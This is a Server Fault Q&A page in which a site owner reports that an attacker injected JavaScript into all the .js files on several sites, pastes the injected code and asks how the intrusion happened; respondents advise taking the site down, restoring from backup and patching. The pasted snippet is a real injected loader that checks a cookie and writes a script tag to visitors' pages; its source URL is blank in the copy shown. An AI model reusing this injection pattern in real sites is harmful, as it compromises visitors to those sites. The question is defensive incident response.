Server Fault is a question and answer site for system and network administrators. Join them; it only takes a minute:

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

Possible Duplicate:
My server’s been hacked EMERGENCY

It seems that someone hacked I bunch of sites I own by inserting code in all the .js files.

function g(){var r=new RegExp("(?:; )?1=([^;]*);?");return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled){document.cookie="1=1;expires="+e.toGMTString()+";path=/";document.write('<script src=""></script>');}

I'm wondering how could he do that since I own the server and I have mod_sec activate, a lot of functions disabled and what I think is pretty good security.

Any tips ? Ideas ? I'm just trying to brainstorm here.

share|improve this question

marked as duplicate by MDMarra, mulaz, Jay, Dan, Sven Dec 5 '12 at 12:03

This question has been asked before and already has an answer. If those answers do not fully address your question, please ask a new question.

I'm sorry, but this question really isn't answerable. For someone to be able to speak with any authority about this, they'll need to dig deep into your environment. If you really need to know this, you should take all affected machines offline immediately and hire a security consultant. – MDMarra Dec 5 '12 at 11:46
Thanks guys. I will look into the threads provided. I know it was a long shot but now I have a start point . – andrei.troll Dec 5 '12 at 11:55
up vote 2 down vote accepted

The best thing to do is take the site down. Restore from a backup and then patch the server/site/software etc.

share|improve this answer
Thanks guys. Will look into the threads provided. – andrei.troll Dec 5 '12 at 11:54

Not the answer you're looking for? Browse other questions tagged or ask your own question.